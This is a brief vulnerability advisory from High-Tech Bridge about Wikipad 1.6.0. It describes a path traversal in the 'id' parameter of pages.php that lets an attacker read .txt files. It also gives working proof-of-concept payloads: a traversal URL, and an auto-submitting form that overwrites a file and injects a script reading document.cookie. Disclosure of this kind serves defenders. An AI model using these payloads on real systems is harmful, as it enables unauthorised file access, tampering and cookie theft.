Vulnerability ID: HTB22827 Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_wikipad.html Product: Wikipad Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ ) Vulnerable Version: 1.6.0 Vendor Notification: 01 February 2011 Vulnerability Type: File Content Disclosure Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/pages.php" script to properly sanitize user-supplied input in "id" variable. We can disclose content of ".txt" files on file system. The following PoC is available: http://host/pages.php?id=./../../../../../txt_file Also, we can change content of this file by using PoC: <form action="http://host/pages.php?action=edit&id=./../../../../../txt_file&title=test"; method="post" name="main"> <input type="hidden" name="data[text]" value='new content"><script>alert(document.cookie)</script>'> </form> <script> document.main.submit(); </script>
